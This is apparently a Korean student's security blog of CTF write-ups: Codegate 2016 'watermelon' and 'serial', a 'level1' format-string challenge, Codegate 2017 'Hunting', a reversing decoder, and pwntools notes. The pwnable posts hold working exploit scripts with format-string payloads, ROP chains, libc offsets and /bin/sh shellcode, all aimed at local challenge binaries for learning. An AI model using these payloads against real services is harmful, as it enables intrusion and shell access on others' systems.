블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

Notice

Tag

2017. 6. 17. 15:45 Hack

 최근 pwntools의 process는 progress를 이용하여 다음과 같이 프로그램의 시작과 끝 그리고 여러 정보를 알려 줍니다.


 이런 log가 불필요하게 느껴진다면 context.log_level = "error" 를 이용하여 log를 없앨 수 있습니다.


 다음은 log.py에 존재하는 내용입니다.


예시.


'Hack' 카테고리의 다른 글

[Python] pwntools & libc.rand  (0) 2017.02.19
posted by Nehoy
2017. 5. 20. 13:39 Hack/리버싱
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import md5
import string, itertools
 
def encode(input_string):
    h = md5.md5(input_string[:4]).hexdigest()
    table = {
        'a'1,
        'b'2,
        'c'3,
        'd'4,
        'e'5,
        'f'6,
        'g'7,
        'h'8,
        'i'9,
        'j'0
    }
    out = ""
    prev = ""
    stage1 = []
    stage2 = []
    stage3 = ""
    passbyte = -1
    for ch in input_string:
        if ch in table.keys():
            stage1.append(table[ch])
        else:
            stage1.append(ch)
 
    for index, ch in enumerate(stage1):
        if len(stage1) <= index+1:
            if index != passbyte:
                stage2.append(ch)
            break
 
        if passbyte != -1 and passbyte == index:
            continue
 
        if type(ch) == int and type(stage1[index+1])==int:
            tmp = ch << 4
            tmp |= stage1[index+1]
            stage2.append(tmp)
            passbyte = index+1
        else:
            stage2.append(ch)
    
    for ch in stage2:
        if type(ch) == int:
            stage3 += chr(ch)
        else:
            stage3 += ch
    
    for index, ch in enumerate(stage3):
        if index >= len(h):
            choice = 0
        else:
            choice = index
 
        out += chr(ord(ch) ^ ord(h[choice]))
 
    return out
 
def main() :
    encoded = "~u/\x15mK\x11N`[^\x13E2JKj0K;3^D3\x18\x15g\xbc\\Gb\x14T\x19E"
    assume_input_list = []
 
    res = itertools.product(string.printable, repeat=4)
    for tmp in res :
        assume_input = ''.join(tmp)
        
        assume_out = encode(assume_input)
        if assume_out[:3== encoded[:3] :
            assume_input_list.append(assume_input)
            print assume_input
 
main()


출력 가능한 문자 4개로 조합한 문자열 중에 encode된 값이 주어진 encoded와 3자리가 같으면 출력하는 프로그램이다.
3자리만 비교하는 이유는 stage1~stage2 때문이다.
4번째 문자가 table내에 존재하는 문자라 숫자로 변했을 경우에 5번째 문자가 존재하지 않아 문자로 변환되지 않는다.
이 경우에는 4번째 문자를 비교하지 못하기 때문에 3자리만 비교한다.

이 프로그램의 결과는 다음과 같다.


이제 이 값들을 decode하면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import md5
import sys
import string
 
table = {
    1'a',
    2'b',
    3'c',
    4'd',
    5'e',
    6'f',
    7'g',
    8'h',
    9'i',
    0'j'
}
 
def decode(assume_out) :
    global table
 
    res = ''
    for ch in assume_out :
        if (string.printable.find(ch) == -1 or ch == '\t'and ch != ' ':
            ch_ascii = ord(ch)
            temp1 = ch_ascii & 0xF
            temp2 = (ch_ascii >> 4& 0xF
            
            if temp1 < 10 and temp2 < 10 :
                res += table[temp2]
                res += table[temp1]
            else :
                res += ch
        else :
            res += ch
 
    return res
 
def main(file_name) :
    file = open(file_name, 'r')
    assume_out_list = file.readlines()
    file.close()
 
    encoded = "~u/\x15mK\x11N`[^\x13E2JKj0K;3^D3\x18\x15g\xbc\\Gb\x14T\x19E"
 
    for assume_out in assume_out_list :
        h = md5.md5(assume_out[:4]).hexdigest()
 
        i = 0
        out = ''
        for ch in encoded :
            if i >= len(h):
                choice = 0
            else:
                choice = i
            i += 1
 
            out += chr(ord(ch) ^ ord(h[choice]))
 
        res = decode(out)
 
        print assume_out + " : " + res
 
if len(sys.argv) > 1 :
    main(sys.argv[1])
 
cs

decode하는 방법을 나열하면 다음과 같다.
1. 입력된 문자열을 md5 인코딩한 값이랑 주어진 encoded 값을 xor 연산
2. xor 연산된 값 중 출력 불가능한 문자랑 \t인 문자를 stage1 ~ stage2 역연산

위 프로그램의 결과는 아래 사진과 같다.

Flag 문자열을 decode한 값이 정답으로 보인다.
중간중간에 들어가있는 j를 없애주면 flag가 된다.
FLag is {compress_is_always_helpful!}


'Hack > 리버싱' 카테고리의 다른 글

Windows Exception  (0) 2020.01.18
[CSAW 2017] tablez  (0) 2017.09.20
[CodeEngn] Challenges : Basic 01  (0) 2016.12.20
[Reversing.kr] imagePrc  (0) 2016.05.30
[Reversing.kr] Music Player  (0) 2016.05.18
posted by Nehoy
2017. 3. 11. 14:03 Hack/포너블

level1.zip

이 문제를 구하게된 경로를 까먹어서 어떤 대회인지 모르겠다..


일단 checksec.sh 프로그램을 이용하여 NX가 안걸려있는걸 알 수 있다.


이 프로그램은 Book Manager라는 메뉴를 실행하는데, 간단하게 설명하면 1. Insert는 책 입력, 2. List는 책 목록 열거, 3. Search는 책 검색, 4. Delete는 책 삭제의 기능을 갖는다.

(참고로 이 책 목록은 linked list를 이용하여 구현되어있다.)


하나 이상의 책이 입력되어있으면 3. Search를 이용하여 검색을 할 수 있는데, 위와 같이 FSB가 일어나는 코드가 있다.

버퍼의 크기와 입력 길이가 0x400이나 되서 부담없이 쉘코드까지 넣을 수 있는 상황이다.


문제는 조작할만한 전역변수가 없는 상황에서 ASLR이 걸려 있다는 것이다. %n을 이용하여 ret을 버퍼의 중간 부분으로 조작하기 위해서, 변동되는 버퍼의 주소에 따라 자동으로 FSB Payload를 만드는 코드가 있어야 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import math
import time
 
proc = remote('localhost'9002)
 
def recv() :
    return proc.recvrepeat(0.3)
 
def fsb_func_num(num) :
    length = len("%{0}x".format(num)) - 4
    
    temp = int(math.log10(num))
 
    num -= (length // 2* 8
    if (length % 2== 1 :
        num -= 8
 
    res = "%"
    if temp > int(math.log10(num)) :
        res = "%0"
    res = (res + "{0}x").format(num) + fsb_func_len(length)
    return res
def fsb_func_len(length) :
    res = "%x" * (length // 2)
    if (length % 2== 1 :
        res += "%8x"
    return res
 
recv()
proc.sendline("1")    # insert
recv()
proc.sendline("name"# book_name
recv()
proc.sendline("1")    # book_id
 
recv()
proc.sendline("3")    # search
recv()
proc.sendline("%p")   # FSB - buffer addr
temp = proc.recvline()
 
# FSB Payload Start
buf_addr = temp[temp.find('0x') : -1]
buf_addr = int(buf_addr, 16)
 
shcode_addr = buf_addr + 0x160    # padding
ret_addr = buf_addr + 0x40c + 4   # buf_size + SFP
 
temp1 = (shcode_addr & 0x0000ffff- 200 - 4
temp2 = ((shcode_addr & 0xffff0000>> 16- temp1 - 200 - 4 - 16 - 4
 
payload = "%8x"*10 + "%x"*15 + fsb_func_num(temp1) + p32(ret_addr) + "%hn" + "%8x%x" + fsb_func_num(temp2) + p32(ret_addr + 2+ "%hn"
payload += (0x160 - len(payload)) * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
recv()
proc.sendline("3")     # search
recv()
proc.sendline(payload) # FSB
recv()
 
time.sleep(1)
 
proc.sendline("ls -l level1")
print(recv())
cs

fsb_func_num은 출력해야 되는 문자 수에 따라 fsb payload를 만들어준다.

Ex. fsb_func_num(100) => %092x%8x


fsb_func_len은 먹어(?)야 하는 문자들의 수에 따라 fsb payload를 만들어준다.

Ex. fsb_func_len(len("123")) => %x%8x


buffer+0x160에 쉘코드를 넣었다.


사실 별 어려운 문제는 아니였는데 실수도 여러번 하고 해서 오래걸렸다...

'Hack > 포너블' 카테고리의 다른 글

[backdoorctf17] baby-0x41414141  (0) 2017.10.13
[CSAW 2017] scv  (0) 2017.09.20
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
posted by Nehoy
2017. 2. 23. 11:39 Hack/포너블

Codegate 2016 문제 중 하나인 watermelon이다.

watermelon.zip


<프로그램 결과>

playlist를 추가하고 수정하는 프로그램이다. 3. Modify playlist로 추가하지 않은 index의 playlist를 수정할 수 있는데, 이곳이 취약점으로 발전된다.


<gdb>

3. Modify playlist 로 0번째 목록을 수정하면 위와 같은 상황이 된다.

ebp의 주소가 0xffffc3d8인데 read 함수의 매개변수로 들어가는 주소가 0xffffc3d4이다. music과 artist의 입력 길이가 220이므로 ret를 변조할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import time
 
repeat_time = 0.5
 
proc = remote("localhost"9002)
 
def recv() :
    proc.recvrepeat(repeat_time)
def recv_send(value) :
    recv()
    proc.sendline(value)
 
recv_send('hyeon')    # name
recv_send('3')        # modify
recv_send('0')        # index : 0
 
recv()
# music : AAAABBBB printf@plt - ori_ret - read@got.plt
proc.send('AAAABBBB' + p32(0x08048500+ p32(0x8049575+ p32(0x804c00c))
recv_send('b')        # artist
 
for i in range(08) :
    proc.recvline()
 
# get read addr
temp = proc.recv()[:4];
read_addr = ''
for i in reversed(range(04)) :
    read_addr += temp[i]
read_addr = '0x' + read_addr.encode('hex')
 
print("read addr : " + read_addr)
cs

<libc python code>

<libc python 결과>

<libc-databse libc 버전>

read함수의 got 값을 이용해서 libc버전을 구할 수 있다. 이를 이용해서 system 함수의 주소를 알아내면 된다.

리틀 엔디안을 고려하여 출력 값을 반전 시켜줘야 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
import time
 
repeat_time = 0.3
 
def recv(proc) :
    return proc.recvrepeat(repeat_time)
def recv_send(proc, value) :
    recv(proc)
    proc.sendline(value)
 
def func() :
    proc = remote("localhost"9002)
 
    recv_send(proc, 'hyeon')    # name
    recv_send(proc, '3')        # modify
    recv_send(proc, '0')        # index : 0
 
    name_addr = 0x804d7a0
    # music : AAAA - BBBB - printf@plt - pop edi - read@got.plt
    recv(proc)
    proc.send('AAAA' + 'BBBB' + p32(0x8048500+ p32(0x8049a6a+ p32(0x804c00c))
    # artist : name - read@plt - leave & ret - 0(stdin) - name - 20
    recv_send(proc, p32(name_addr) + p32(0x080484f0+ p32(0x80496f7+ p32(0+ p32(name_addr) + p32(20))
    
    for i in range(08) :
        proc.recvline()
 
    # check
    temp = recv(proc)[:4]
    if len(temp) < 4 :
        proc.close()
        return 1
    
    # get system addr & bin/sh addr
    read_got = ''
    for i in reversed(range(04)) :
        read_got += temp[i]
    
    read_got = int('0x' + read_got.encode('hex'), 16)
    print('read_got : ' + hex(read_got))
    system_addr = read_got - 0xe4c50 + 0x3de10
    sh_addr = read_got - 0xe4c50 + 0x174055
    
    # name : AAAA - system - BBBB - bin/sh
    proc.send('AAAA' + p32(system_addr) + 'BBBB' + p32(sh_addr))
    
    time.sleep(1)        # wait to open shell
    
    proc.sendline('ls -l watermelon')
 
    print(recv(proc))
    return 0
 
while True :
    if func() == 0 :
        break
cs

<exploit python code>

<pop edi - 0x8049a6a>

맨 처음 ret를 printf@plt로 변조하여 read@got 값을 출력하고 이를 이용해서 system과 /bin/sh의 주소를 구한다. read@got는 ret로 활용할 수 없는데, 그 뒤에 있는 값을 ret로 사용해야 하는 상황이다. 따라서, pop edi를 이용해서 read@got를 edi에 넣고, ebp에 name의 주소를 넣는다.

그 다음 read를 이용해서 name의 값을 "AAAA - system - BBBB - name + 16 - sh"로 변조한다. 그러면, leave를 하면서 esp가 name으로 가게 되고 ret을 통해 system이 실행된다.


페이로드는 다음과 같다.

music & artist : AAAA - BBBB - print@plt - 0x8049a6a - read@got - name - read@plt - leave & ret -  0(stdin) - name - 20

name : AAAA - system - BBBB - /bin/sh


<exploit python 결과>

이상하게 check의 recv에서 값이 잘 넘어오지 않는다. 원인을 파악하지 못해서 일단 반복해서 실행하게 만들었다.


고정되어있는 name 변수를 ebp로 설정하는게 이 풀이의 요지다.

'Hack > 포너블' 카테고리의 다른 글

[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
posted by Nehoy
2017. 2. 21. 10:01 Hack/포너블

%x$y (x : 1 이상, y : 포맷 스트링)



<32bit 프로그램 결과>



<64bit 프로그램 매개변수 순서>

index 1 : edi

index 2 : esi

index 3 : edx

index 4 : ecx

index 5 : r8d

index 6 : r9d

index 7 : stack

'Hack > 포너블' 카테고리의 다른 글

[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[포너블] pwn1  (0) 2017.02.15
posted by Nehoy
2017. 2. 20. 06:32 Hack/포너블

Codegate 2016 예선 문제 중 하나인 Serial이다.

Serial.zip

<프로그램 화면>

맨처음 이 프로그램을 실행시키기 위해서는 serial을 입력해야 한다.


<IDA를 이용하여 본 0x400cbb(check_serial)>

serial을 알아내기 위해서 python이나 c언어로 위 함수를 직접 모방할 수도 있지만, 복잡한 코드로 구성되어있기 때문에 이번에는 angr를 사용해보기로 했다.


1
2
3
4
5
6
7
8
9
10
11
import angr
 
def main():
    p = angr.Project("serial", load_options={'auto_load_libs': False})
    ex = p.surveyors.Explorer(find=(0x400f2e), avoid=(0x400d2c0x400e82))
    ex.run()
    
    return ex.found[0].state.posix.dumps(0).strip('\0\n')
 
if __name__ == '__main__':
    print main()
cs

<serial값을 알아내기 위한 python - angr code>

인터넷에 돌아다니는 angr 소스에 find와 avoid 주소만 바꾼 것이다.

find=0x400f2e 는 serial을 맞추면 나오는 Smash me!를 출력하는 곳이고, avoid=0x400d2c, 0x400e82는 각각 number only와 Wrong!을 출력하고 exit하는 곳이다. (사실 find주소만 제대로 되면 avoid 주소는 시간 단축 외에는 쓸모가 없는거 같다.)


<python - angr 결과>

위 결과에서 615066814080이 serial값이 된다.


<프로그램 화면>

올바른 serial key를 입력하면 위와 같이 4개의 메뉴가 등장하게 된다.

여기서 주의깊게 봐야할 메뉴는 1. Add와 3. Dump다.


<0x400a27(add)>

<0x4009dd<dump>

1. Add에서 32byte의 string을 넣을 수 있는데, 24-32byte는 3. Dump에서 호출할 함수의 주소로 활용된다. 기본적으로 24byte에 0x40096e가 들어가지만, 주소값이 들어가고 문자열을 복사하기 때문에 덮어씌울 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import time
 
proc = remote('localhost'9002)
 
def send(value) :
    proc.sendline(value)
def recv() :
    print(proc.recvrepeat(0.1))
 
recv()
 
send("615066814080"# serial
recv()
 
send("1"# add
recv()
send("%19$p " + "\x90"*18 + "\x90\x07\x40\x00")
recv()
 
send("3"# dump - print(__libc_start_main_ret)
print(proc.recvline()) # func : 
 
temp = proc.recvline()
main_ret = int(temp[:temp.find(' ')], 16)
 
print('main_ret : ' + hex(main_ret))
cs
<addr python code>

<프로그램 결과>

<libc-database libc버전>

위 3. Dump에서 printf함수를 호출하면 fsb를 일으킬 수 있다. 이를 이용해서 main함수의 return값인 __libc_start_main_ret를 구하면, libc 버전을 구할 수 있다.


/* 항상 하던대로 "%p"*X를 사용하면 index가 12인 값밖에 구하지 못하기 때문에 main_ret를 구하지 못한다. 이를 어떻게 하나 write-up을 보다가 찾은게 %19$p인데, 19$가 index를 지정해주는거 같다. Linux에서만 적용되는거 같지만, 좀 더 연구할만한 가치는 있는거 같다. */


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import time
 
proc = remote('localhost'9002)
 
def send(value) :
    proc.sendline(value)
def recv() :
    print(proc.recvrepeat(0.1))
 
recv()
 
send("615066814080"# serial
recv()
 
send("1"# add
recv()
send("%19$p " + "\x90"*18 + "\x90\x07\x40\x00")
recv()
 
send("3"# dump - print(__libc_start_main_ret)
print(proc.recvline()) # func : 
 
# get system address
temp = proc.recvline()
main_ret = int(temp[:temp.find(' ')], 16)
sys_addr = main_ret - 0x20830 + 0x45390
 
recv()
 
send("2"# remove
recv()
send("0"# index : 0
recv()
 
send("1"# add
recv()
send("/bin/sh;" + " "*16 + p64(sys_addr)[:-2])
recv()
 
send("3"# dump - system("sh')
recv()
 
time.sleep(1# wait to open shell
 
send("ls -l serial")
recv()
 
cs

<exploit python code>

<exploit 결과>

1. Add로 넣는 문자열 중간에는 NULL이 있을 수 없다. 이 문제점을 안고 /bin/sh 문자열을 어떻게 넣나 찾아보던 중에 명령어가 세미콜론(;)으로 구분되는 것을 보고 위와 같이 exploit 하였다.


원격 접속이기 때문에 recv받을 때까지 기다리는 시간을 충분히 해줘야 한다. ex. recvrepeat(0.1)


<checksec.sh>

처음에는 NX를 확인하지 않고 shell code를 넣어서 문제를 풀려고 했다. 그게 shellcode - exploit.py 파일이다.


※ kknock 서버와 내 vm - ubuntu를 왔다갔다 거리면서 문제를 풀어서 user가 변하는 모습을 볼 수 있다. 실제 문제를 푼 곳은 vm - ubuntu다. kknock 서버에서는 구한__libc_start_main_ret에 맞는 libc버전이 나오지 않아, 문제를 풀지 못했다.

★ angr와 libc-database를 조금 야매로 한거 같아서 나중에 제대로 조사해봐야겠다.



'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[포너블] pwn1  (0) 2017.02.15
[Codegate 2017] Prequal : Hunting  (3) 2017.02.12
posted by Nehoy
2017. 2. 19. 18:17 Hack/포너블

- ps | grep

ps -ef | grep -n 'program_name'


- socat

socat tcp-listen:9002,reuseaddr,fork,bind=0.0.0.0 exec:program_path


nc localhost 9002


- checksec.sh checksec.sh

./checksec.sh --file program_name


'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[포너블] pwn1  (0) 2017.02.15
[Codegate 2017] Prequal : Hunting  (3) 2017.02.12
posted by Nehoy
2017. 2. 19. 18:08 Hack

- pwntools 사용법

# import

from pwn import *


# access 1

shell = ssh("id", "127.0.0.1", port=9999, password="passwd")

proc = shell.run("./program")


# access 2

proc = process("./program")

proc = process(["cat", "test"]) # 2017.05.16


# access 3

proc = remote("localhost", 9002)


# send

proc.send("test\n")

proc.sendline("test")


# recv

proc.recv()                 # EOF deadlock

proc.recvline()            # \n deadlock

proc.recvlines()           # EOF deadlock

proc.recvrepeat(0.3)

proc.recvall()              # EOF deadlock

proc.recvuntil(str)       # str deadlock


# p32 | p64 <==> u32 | u64 (반대되는 함수)

addr = proc.recvline()

addr = int(addr, 16)

addr = p64(addr)       # p32 or p64


# poll : exit code 반환 (실행 중일 경우 None 반환)

// proc.poll(False)          # 매개변수는 deadlock 여부

proc.poll()                   # 2017.05.16


# ELF

program = ELF('./program')

libc = ELF('./libc')


setvbuf_plt = program.plt['setvbuf']

setvbuf_got = program.got['setvbuf']


system_offset = libc.symbols['system']


- libc.rand 사용법

# import

from ctypes import *

import time


# setting

libc = CDLL('libc.so.6')

seed = libc.time()

libc.srand(seed)


# rand

libc.rand()

'Hack' 카테고리의 다른 글

[Python] pwntools log 없애기  (0) 2017.06.17
posted by Nehoy
2017. 2. 15. 21:53 Hack/포너블

pwn1.zip

현규형이 간단하게 pwntools를 연습해보라고 준 문제다.


프로그램은 진짜 간단한 bof 문제다. 특이사항은 버퍼의 크기가 0x10byte라서 shellcode가 못들어가기 때문에 buffer - SFP - RET 뒤에 shellcode를 넣고 주소를 이에 맞게 변경해줘야 한다.


p64는 주소값을 리틀엔디안에 맞게 반환해 주는 함수이다.  (pwntools 내부에 존재하는 함수이다.)


쉘을 따고 ls를 한 화면이다.

'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[Codegate 2017] Prequal : Hunting  (3) 2017.02.12
posted by Nehoy
2017. 2. 12. 17:19 Hack/포너블

hunt.zip


<프로그램 실행 화면>

 스킬을 사용하여 각 레벨의 보스를 죽이는 프로그램이다.


<0x40184C - level_clear>

<0x4018D4 - game_clear>

 4 레벨을 클리어하면 flag를 얻을 수 있다.


<0x4019A4 - boss_attack>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
 
def defense(v1) :
    t1 = (v1 >> 32& 0xFFFFFFFF
    t2 = t1 >> 30
    t3 = v1 & 0xff
 
    v2 = ((t2 + t3) & 3- t2
    
    v = 0
    if v2 == 1 :
        v = 3
    elif v2 == 2 :
        v = 2
    else :
        v = 1
    
    v_str = "{0}".format(v)
    print(v_str)
 
defense(int(sys.argv[1]))
cs

<매개변수로 넘겨진 rand() 값을 토대로 보스의 공격을 예측하는 파이썬 코드>

 스킬을 사용하면 보스 또한 공격 하게 되는데 3개의 선택지 중 하나를 선택하여 공격을 막을 수 있다. 보스의 공격 값은 rand() 값을 기반으로 정해지게 되는데, rand()의 seed를 time() 값으로 설정하기 때문에 같은 시간에 seed를 설정하면 보스의 공격 값을 미리 알 수 있다.


<main>

<level 4 보스의 체력>

 attack으로 총 82번 '2. Use skill'을 하면 level 4가 되는데, level 4 보스의 체력은 0x7FFFFFFFFFFFFFFE가 된다. 메뉴 실행 횟수가 250미만으로 제한되어 있고 제한된 횟수안에 저 체력을 다 깎을만한 damage의 skill도 없으므로 체력을 깎아서 죽일 수는 없고, 보스의 체력을 2만큼 올려 오버플로우를 일으켜야 한다.


<0x401580 - use_skill>

 use_skill() 함수를 보면 스킬의 index가 4이하일 때, damage의 음수값 검사는 64bit로 진행하지만 공격 연산(hp -= damage)은 32bit로 진행하게 된다. 문제점은 index가 4이하인 스킬로는 damage를 음수로 만들 수가 없다는 것이다.


<main>

<0x40117C - skill_damage>

<0x400F46 - skill_damage_icesword>

 use_skill() 함수는 thread로 실행되는데, fireball과 icesword의 경우 damage 값 연산 함수(skill_damage)에서 sleep(1)을 한다. damage 변수는 공유되기 때문에, 위 sleep(1)을 이용하여 fireball - use_skill()에서 icesword의 damage 값(0xFFFFFFFF)으로 공격하면 된다.

 주의해야 할 점은 fireball - use_skill()에서 byte_603380의 값을 1로 만들었을 때, icesword - use_skill()이 다시 진행돼야 한다는 것이다. 이렇게 해서 "You are already using ~" 문자열이 출력되면, 보스의 hp에서 0xFFFFFFFF가 빼지는걸 막을 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
 
void change(FILE *fp, int value);
void defense(FILE *fp);
void attack(FILE *fp);
void final(FILE *fp);
 
void main() {
    FILE *fp = NULL;
    int i;
    
    srand((unsigned)time(NULL));
    if ((fp = popen("/home/hunting/hunting""w")) == NULL) {
        printf("error - popen\n");
        return ;
    }
    
    for (i = 0; i < 82; i++)    attack(fp);
    for (i = 0; i < 2; i++)     final(fp);
    
    pclose(fp);
}
 
void change(FILE *fp, int value) {
    fprintf(fp, "3\n%d\n", value);
    fflush(fp);
}
void defense(FILE *fp) {
    FILE *py_fp = NULL;
    char buffer[100];
    int select;
    
    sprintf(buffer, "python /tmp/hy/defense.py %d", rand());
    
    if ((py_fp = popen(buffer, "r")) == NULL) {
        printf("error - popen2\n");
        return ;
    }
    
    fscanf(py_fp, "%d"&select);
    pclose(py_fp);
    
    fprintf(fp, "%d\n", select);
    fflush(fp);
}
void attack(FILE *fp) {
    fprintf(fp, "2\n");
    fflush(fp);
    defense(fp);
}
void final(FILE *fp) {
    change(fp, 2);
    fprintf(fp, "2\n");
    fflush(fp);
 
    rand();
    defense(fp);
    change(fp, 7);
    fprintf(fp, "2\n");
    fflush(fp);
    
    sleep(1);
    
    rand();
    defense(fp);
}
 
cs

<문제 풀이에 사용된 C 코드>

<풀이 결과>

 python - pwn을 이용해서 원격으로 접속하니 명령 전달에 딜레이가 걸려 제때에 thread가 생성이 안되는 문제가 있었다. 서버에서 로컬로 문제를 풀어야 했는데 서버에는 pwn이 설치되어있지 않아서, c언어로 코딩한 다음 문제를 풀었다.


s1mp13_rac3_c0nd1t1n_gam3_


'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[포너블] pwn1  (0) 2017.02.15
posted by Nehoy
prev 1 2 3 next